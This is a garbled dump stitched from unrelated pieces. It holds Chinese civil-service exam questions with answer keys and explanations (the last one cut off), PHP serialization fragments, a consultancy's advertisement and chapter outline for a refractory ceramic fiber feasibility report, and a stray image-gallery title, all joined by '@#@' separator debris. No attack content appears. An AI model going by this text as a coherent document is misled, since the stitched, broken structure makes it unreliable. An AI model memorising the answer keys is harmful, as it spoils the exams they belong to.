@#@@#@　　A、本区新建五座一千平方米的教学楼@#@　　B、此案涉及四个课题组成员@#@　　C、贵单位接到通知后，请立即办理@#@　　D、本项目三个工作人员，分别到广州、上海、南宁调研@#@　　【答案】C@#@　　【解析】A项语句歧义，出现五座总计一千平方米还是五座每个一千平方米的歧义。

@#@B项语句歧义，出现四个课题还是四个成员的歧义。

@#@C项正确，没有歧义。

@#@D项语句歧义，出现三个人都去三个城市还是一人去一个城市的歧义。

@#@故选C。

@#@@#@　　41、在中华民族源远流长的历史长河中，诞生了许多歌颂爱情的诗词。

@#@下列诗词与作者对应错误的是（）。

@#@@#@　　A、日日思君不见君，共饮长江水——李之仪@#@　　B、此情可待成追忆，只是当时已惘然——李煜@#@　　C、曾经沧海难为水，除却巫山不是云——元稹@#@　　D、衣带渐宽终不悔，为伊消得人憔悴——柳永@#@　　【答案】B@#@　　【解析】@#@　　“此情可待成追忆，只是当时已惘然”出自唐代诗人李商隐的《锦瑟》，B项错误，当选。

@#@@#@　　“日日思君不见君，共饮长江水”出自北宋诗人李之仪的《卜算子•我住长江头》。

@#@@#@　　“曾经沧海难为水，除却巫山不是云”出自唐代诗人元稹的《离思五首》。

@#@@#@　　“衣带渐宽终不悔，为伊消得人憔悴”出自北宋词人柳永的《蝶恋花•伫倚危楼风细细》。

@#@故选B。

@#@@#@　　42、下列边境口岸与所在省区组合正确的是（）。

@#@@#@　　A、黑河——吉林省@#@　　B、丹东——黑龙江省@#@　　C、绥芬河——辽宁省@#@　　D、满洲里——内蒙古自治区@#@　　【答案】D@#@　　【解析】黑河位于黑龙江省,丹东属辽宁省,绥芬河位于黑龙江省,满洲里在内蒙古自治区。

@#@故选D。

@#@@#@　　43、没有理性的指导，眼睛是最坏的证人，意在强调（）。

@#@@#@　　A、感性认识的重要性@#@　　B、理性认识的重要性@#@　　C、理性认识比感性认识更重要@#@　　D、感性认识比理性认识更重要@#@　　【答案】B@#@　　【解析】感性认识和理性认识是认识的不同阶段，二者是辩证统一的。

@#@感性认识是理性认识的基础，理性认识是感性认识的指导。

@#@@#@　　“理性的指导”是指理性认识，“眼睛”所见到的是感性认识。

@#@这句话意在强调理性认识的重要性，指出离开理性的感性是盲目的，甚至会歪曲事物的真相，但并不是说理性认识地位高于感性认识。

@#@故选B。

@#@@#@　　44、行政反馈是（）。

@#@@#@　　A、行政系统与外部环境之间的协调机制@#@　　B、行政系统纵向结构的协调机制@#@　　C、行政系统横向结构的协调机制@#@　　D、行政人员的协调机制@#@　　【答案】A@#@　　【解析】行政反馈，即行政系统把外界输入的情况，加以转换分析，通过制定政策或提供服务等方式反作用于外部环境，再根据外部环境的变化对自己的政策和行为加以调整，以达到行政目标。

@#@行政反馈是行政系统与外部环境之间的协调机制。

@#@故选A。

@#@@#@　　45、绝对真理和相对真理的关系是（）。

@#@@#@　　A、绝对真理通过相对真理表现出来@#@　　B、相对真理中包含着绝对真理的成分@#@　　C、相对真理和绝对真理没有固定不变的界限@#@　　D、任何真理都是相对真理和绝对真理的统一@#@　　【答案】ABCD@#@　　【解析】本题考察绝对真理和相对真理的关系，任何真理都是相对真理和绝对真理的统一。

@#@@#@　　46、下列属于告知类公文的是（）。

@#@@#@　　A、公报@#@　　B、通告@#@　　C、报告@#@　　D、函@#@　　【答案】AB@#@　　【解析】告知类用于直接公开发布或传达公文内容，使一定范围内";i:

30;s:

17025:

"耐火陶瓷棉制品项目可行性研究报告@#@耐火陶瓷棉制品项目可行性研究报告@#@核心提示：

@#@耐火陶瓷棉制品项目投资环境分析，耐火陶瓷棉制品项目背景和发展概况，耐火陶瓷棉制品项目建设的必要性，耐火陶瓷棉制品行业竞争格局分析，耐火陶瓷棉制品行业财务指标分析参考，耐火陶瓷棉制品行业市场分析与建设规模，耐火陶瓷棉制品项目建设条件与选址方案，耐火陶瓷棉制品项目不确定性及风险分析，耐火陶瓷棉制品行业发展趋势分析@#@提供国家发改委甲级资质@#@专业编制写：

@#@@#@耐火陶瓷棉制品项目建议书@#@耐火陶瓷棉制品项目申请报告@#@耐火陶瓷棉制品项目环评报告@#@耐火陶瓷棉制品项目商业计划书@#@耐火陶瓷棉制品项目资金申请报告@#@耐火陶瓷棉制品项目节能评估报告@#@耐火陶瓷棉制品项目规划设计咨询@#@耐火陶瓷棉制品项目可行性研究报告@#@ @#@@#@【主要用途】发改委立项，政府批地，融资，贷款，申请国家补助资金等@#@【关键词】耐火陶瓷棉制品项目可行性研究报告、申请报告@#@【交付方式】特快专递、E-mail@#@【交付时间】2-3个工作日@#@【报告格式】Word格式；@#@PDF格式@#@【报告价格】此报告为委托项目报告，具体价格根据具体的要求协商，欢迎进入页眉中公司网址，查找联系方式，工程师会给您满意的答复。

@#@@#@ @#@@#@【报告说明】@#@本报告是针对行业投资可行性研究咨询服务的专项研究报告，此报告为个性化定制服务报告，我们将根据不同类型及不同行业的项目提出的具体要求，修订报告目录，并在此目录的基础上重新完善行业数据及分析内容，为企业项目立项、上马、融资提供全程指引服务。

@#@@#@@#@可行性研究报告是在制定某一建设或科研项目之前，对该项目实施的可能性、有效性、技术方案及技术政策进行具体、深入、细致的技术论证和经济评价，以求确定一个在技术上合理、经济上合算的最优方案和最佳时机而写的书面报告。

@#@可行性研究报告主要内容是要求以全面、系统的分析为主要方法，经济效益为核心，围绕影响项目的各种因素，运用大量的数据资料论证拟建项目是否可行。

@#@对整个可行性研究提出综合分析评价，指出优缺点和建议。

@#@为了结论的需要，往往还需要加上一些附件，如试验数据、论证材料、计算图表、附图等，以增强可行性报告的说服力。

@#@@#@@#@可行性研究是确定建设项目前具有决定性意义的工作，是在投资决策之前，对拟建项目进行全面技术经济分析论证的科学方法，在投资管理中，可行性研究是指对拟建项目有关的自然、社会、经济、技术等进行调研、分析比较以及预测建成后的社会经济效益。

@#@在此基础上，综合论证项目建设的必要性，财务的盈利性，经济上的合理性，技术上的先进性和适应性以及建设条件的可能性和可行性，从而为投资决策提供科学依据。

@#@@#@@#@投资可行性报告咨询服务分为政府审批核准用可行性研究报告和融资用可行性研究报告。

@#@审批核准用的可行性研究报告侧重关注项目的社会经济效益和影响；@#@融资用报告侧重关注项目在经济上是否可行。

@#@具体概括为：

@#@政府立项审批，产业扶持，银行贷款，融资投资、投资建设、境外投资、上市融资、中外合作，股份合作、组建公司、征用土地、申请高新技术企业等各类可行性报告。

@#@@#@@#@报告通过对项目的市场需求、资源供应、建设规模、工艺路线、设备选型、环境影响、资金筹措、盈利能力等方面的研究调查，在行业专家研究经验的基础上对项目经济效益及社会效益进行科学预测，从而为客户提供全面的、客观的、可靠的项目投资价值评估及项目建设进程等咨询意见。

@#@@#@@#@可行性研究报告大纲（具体可根据客户要求进行调整）@#@为客户提供国家发委甲级资质@#@@#@第一章耐火陶瓷棉制品项目总论@#@第一节耐火陶瓷棉制品项目背景@#@一、耐火陶瓷棉制品项目名称@#@二、耐火陶瓷棉制品项目承办单位@#@三、耐火陶瓷棉制品项目主管部门@#@四、耐火陶瓷棉制品项目拟建地区、地点@#@五、承担可行性研究工作的单位和法人代表@#@六、耐火陶瓷棉制品项目可行性研究报告编制依据@#@七、耐火陶瓷棉制品项目提出的理由与过程@#@第二节可行性研究结论@#@一、市场预测和项目规模@#@二、原材料、燃料和动力供应@#@三、选址@#@四、耐火陶瓷棉制品项目工程技术方案@#@五、环境保护@#@六、工厂组织及劳动定员@#@七、耐火陶瓷棉制品项目建设进度@#@八、投资估算和资金筹措@#@九、耐火陶瓷棉制品项目财务和经济评论@#@十、耐火陶瓷棉制品项目综合评价结论@#@第三节主要技术经济指标表@#@第四节存在问题及建议@#@@#@第二章耐火陶瓷棉制品项目投资环境分析@#@第一节社会宏观环境分析@#@第二节耐火陶瓷棉制品项目相关政策分析@#@一、国家政策@#@二、耐火陶瓷棉制品行业准入政策@#@三、耐火陶瓷棉制品行业技术政策@#@第三节地方政策@#@@#@第三章耐火陶瓷棉制品项目背景和发展概况@#@第一节耐火陶瓷棉制品项目提出的背景@#@一、国家及耐火陶瓷棉制品行业发展规划@#@二、耐火陶瓷棉制品项目发起人和发起缘由@#@第二节耐火陶瓷棉制品项目发展概况@#@一、已进行的调查研究耐火陶瓷棉制品项目及其成果@#@二、试验试制工作情况@#@三、厂址初勘和初步测量工作情况@#@四、耐火陶瓷棉制品项目建议书的编制、提出及审批过程@#@第三节耐火陶瓷棉制品项目建设的必要性@#@一、现状与差距@#@二、发展趋势@#@三、耐火陶瓷棉制品项目建设的必要性@#@四、耐火陶瓷棉制品项目建设的可行性@#@第四节投资的必要性@#@@#@第四章市场预测@#@第一节耐火陶瓷棉制品产品市场供应预测@#@一、国内外耐火陶瓷棉制品市场供应现状@#@二、国内外耐火陶瓷棉制品市场供应预测@#@第二节产品市场需求预测@#@一、国内外耐火陶瓷棉制品市场需求现状@#@二、国内外耐火陶瓷棉制品市场需求预测@#@第三节产品目标市场分析@#@一、耐火陶瓷棉制品产品目标市场界定@#@二、市场占有份额分析@#@第四节价格现状与预测@#@一、耐火陶瓷棉制品产品国内市场销售价格@#@二、耐火陶瓷棉制品产品国际市场销售价格@#@第五节市场竞争力分析@#@一、主要竞争对手情况@#@二、产品市场竞争力优势、劣势@#@三、营销策略@#@第六节市场风险@#@第五章耐火陶瓷棉制品行业竞争格局分析@#@第一节国内生产企业现状@#@一、重点企业信息@#@二、企业地理分布@#@三、企业规模经济效应@#@四、企业从业人数@#@第二节重点区域企业特点分析@#@一、华北区域@#@二、东北区域@#@三、西北区域@#@四、华东区域@#@五、华南区域@#@六、西南区域@#@七、华中区域@#@第三节企业竞争策略分析@#@一、产品竞争策略@#@二、价格竞争策略@#@三、渠道竞争策略@#@四、销售竞争策略@#@五、服务竞争策略@#@六、品牌竞争策略@#@@#@第六章耐火陶瓷棉制品行业财务指标分析参考@#@第一节耐火陶瓷棉制品行业产销状况分析@#@第二节耐火陶瓷棉制品行业资产负债状况分析@#@第三节耐火陶瓷棉制品行业资产运营状况分析@#@第四节耐火陶瓷棉制品行业获利能力分析@#@第五节耐火陶瓷棉制品行业成本费用分析@#@@#@第七章耐火陶瓷棉制品行业市场分析与建设规模@#@第一节市场调查@#@一、拟建耐火陶瓷棉制品项目产出物用途调查@#@二、产品现有生产能力调查@#@三、产品产量及销售量调查@#@四、替代产品调查@#@五、产品价格调查@#@六、国外市场调查@#@第二节耐火陶瓷棉制品行业市场预测@#@一、国内市场需求预测@#@二、产品出口或进口替代分析@#@三、价格预测@#@第三节耐火陶瓷棉制品行业市场推销战略@#@一、推销方式@#@二、推销措施@#@三、促销价格制度@#@四、产品销售费用预测@#@第四节耐火陶瓷棉制品项目产品方案和建设规模@#@一、产品方案@#@二、建设规模@#@第五节耐火陶瓷棉制品项目产品销售收入预测@#@@#@第八章耐火陶瓷棉制品项目建设条件与选址方案@#@第一节资源和原材料@#@一、资源评述@#@二、原材料及主要辅助材料供应@#@三、需要作生产试验的原料@#@第二节建设地区的选择@#@一、自然条件@#@二、基础设施@#@三、社会经济条件@#@四、其它应考虑的因素@#@第三节厂址选择@#@一、厂址多方案比较@#@二、厂址推荐方案@#@@#@第九章耐火陶瓷棉制品项目应用技术方案@#@第一节耐火陶瓷棉制品项目组成@#@第二节生产技术方案@#@一、产品标准@#@二、生产方法@#@三、技术参数和工艺流程@#@四、主要工艺设备选择@#@五、主要原材料、燃料、动力消耗指标@#@六、主要生产车间布置方案@#@第三节总平面布置和运输@#@一、总平面布置原则@#@二、厂内外运输方案@#@三、仓储方案@#@四、占地面积及分析@#@第四节土建工程@#@一、主要建、构筑物的建筑特征与结构设计@#@二、特殊基础工程的设计@#@三、建筑材料@#@四、土建工程造价估算@#@第五节其他工程@#@一、给排水工程@#@二、动力及公用工程@#@三、地震设防@#@四、生活福利设施@#@@#@第十章耐火陶瓷棉制品项目环境保护与劳动安全@#@第一节建设地区的环境现状@#@一、耐火陶瓷棉制品项目的地理位置@#@二、地形、地貌、土壤、地质、水文、气象@#@三、矿藏、森林、草原、水产和野生动物、植物、农作物@#@四、自然保护区、风景游览区、名胜古迹、以及重要政治文化设施@#@五、现有工矿企业分布情况@#@六、生活居住区分布情况和人口密度、健康状况、地方病等情况@#@七、大气、地下水、地面水的环境质量状况@#@八、交通运输情况@#@九、其他社会经济活动污染、破坏现状资料@#@十、环保、消防、职业安全卫生和节能@#@第二节耐火陶瓷棉制品项目主要污染源和污染物@#@一、主要污染源@#@二、主要污染物@#@第三节耐火陶瓷棉制品项目拟采用的环境保护标准@#@第四节治理环境的方案@#@一、耐火陶瓷棉制品项目对周围地区的地质、水文、气象可能产生的影响@#@二、耐火陶瓷棉制品项目对周围地区自然资源可能产生的影响@#@三、耐火陶瓷棉制品项目对周围自然保护区、风景游览区等可能产生的影响@#@四、各种污染物最终排放的治理措施和综合利用方案@#@五、绿化措施，包括防护地带的防护林和建设区域的绿化@#@第五节环境监测制度的建议@#@第六节环境保护投资估算@#@第七节环境影响评论结论@#@第八节劳动保护与安全卫生@#@一、生产过程中职业危害因素的分析@#@二、职业安全卫生主要设施@#@三、劳动安全与职业卫生机构@#@四、消防措施和设施方案建议@#@@#@第十一章企业组织和劳动定员@#@第一节企业组织@#@一、企业组织形式@#@二、企业工作制度@#@第二节劳动定员和人员培训@#@一、劳动定员@#@二、年总工资和职工年平均工资估算@#@三、人员培训及费用估算@#@@#@第十二章耐火陶瓷棉制品项目实施进度安排@#@第一节耐火陶瓷棉制品项目实施的各阶段@#@一、建立耐火陶瓷棉制品项目实施管理机构@#@二、资金筹集安排@#@三、技术获得与转让@#@四、勘察设计和设备订货@#@五、施工准备@#@六、施工和生产准备@#@七、竣工验收@#@第二节耐火陶瓷棉制品项目实施进度表@#@一、横道图@#@二、网络图@#@第三节耐火陶瓷棉制品项目实施费用@#@一、建设单位管理费@#@二、生产筹备费@#@三、生产职工培训费@#@四、办公和生活家具购置费@#@五、勘察设计费@#@六、其它应支付的费用@#@@#@第十三章投资估算与资金筹措@#@第一节耐火陶瓷棉制品项目总投资估算@#@一、固定资产投资总额@#@二、流动资金估算@#@第二节资金筹措@#@一、资金来源@#@二、耐火陶瓷棉制品项目筹资方案@#@第三节投资使用计划@#@一、投资使用计划@#@二、借款偿还计划@#@@#@第十四章财务与敏感性分析@#@第一节生产成本和销售收入估算@#@一、生产总成本估算@#@二、单位成本@#@三、销售收入估算@#@第二节财务评价@#@第三节国民经济评价@#@第四节不确定性分析@#@第五节社会效益和社会影响分析@#@一、耐火陶瓷棉制品项目对国家政治和社会稳定的影响@#@二、耐火陶瓷棉制品项目与当地科技、文化发展水平的相互适应性@#@三、耐火陶瓷棉制品项目与当地基础设施发展水平的相互适应性@#@四、耐火陶瓷棉制品项目与当地居民的宗教、民族习惯的相互适应性@#@五、耐火陶瓷棉制品项目对合理利用自然资源的影响@#@六、耐火陶瓷棉制品项目的国防效益或影响@#@七、对保护环境和生态平衡的影响@#@@#@第十五章耐火陶瓷棉制品项目不确定性及风险分析@#@第一节建设和开发风险@#@第二节市场和运营风险@#@第三节金融风险@#@第四节政治风险@#@第五节法律风险@#@第六节环境风险@#@第七节技术风险@#@@#@第十六章耐火陶瓷棉制品行业发展趋势分析@#@第一节我国耐火陶瓷棉制品行业发展的主要问题及对策研究@#@一、我国耐火陶瓷棉制品行业发展的主要问题@#@二、促进耐火陶瓷棉制品行业发展的对策@#@第二节我国耐火陶瓷棉制品行业发展趋势分析@#@第三节耐火陶瓷棉制品行业投资机会及发展战略分析@#@一、耐火陶瓷棉制品行业投资机会分析@#@二、耐火陶瓷棉制品行业总体发展战略分析@#@第四节我国耐火陶瓷棉制品行业投资风险@#@一、政策风险@#@二、环境因素@#@三、市场风险@#@四、耐火陶瓷棉制品行业投资风险的规避及对策@#@@#@第十七章耐火陶瓷棉制品项目可行性研究结论与建议@#@第一节结论与建议@#@一、对推荐的拟建方案的结论性意见@#@二、对主要的对比方案进行说明@#@三、对可行性研究中尚未解决的主要问题提出解决办法和建议@#@四、对应修改的主要问题进行说明，提出修改意见@#@五、对不可行的项目，提出不可行的主要问题及处理意见@#@六、可行性研究中主要争议问题的结论@#@第二节我国耐火陶瓷棉制品行业未来发展及投资可行性结论及建议@#@@#@第十八章财务报表@#@第一节资产负债表@#@第二节投资受益分析表@#@第三节损益表@#@@#@第十九章耐火陶瓷棉制品项目投资可行性报告附件@#@1、耐火陶瓷棉制品项目位置图@#@2、主要工艺技术流程图@#@3、主办单位近5年的财务报表@#@4、耐火陶瓷棉制品项目所需成果转让协议及成果鉴定@#@5、耐火陶瓷棉制品项目总平面布置图@#@6、主要土建工程的平面图@#@7、主要技术经济指标摘要表@#@8、耐火陶瓷棉制品项目投资概算表@#@9、经济评价类基本报表与辅助报表@#@10、现金流量表@#@11、现金流量表@#@12、损益表@#@13、资金来源与运用表@#@14、资产负债表@#@15、财务外汇平衡表@#@16、固定资产投资估算表@#@17、流动资金估算表@#@18、投资计划与资金筹措表@#@19、单位产品生产成本估算表@#@20、固定资产折旧费估算表@#@21、总成本费用估算表@#@22、产品销售（营业）收入和销售税金及附加估算表@#@服务流程：

@#@　@#@1.客户问询，双方初步沟通；@#@@#@2.双方协商报告编制费、并签署商务合同；@#@@#@3.我方保密承诺（或签保密协议），对方提交资料。

@#@@#@";i:

31;s:

54:

"美女柔术图片赏析@#@美女柔术图片赏析@#@";}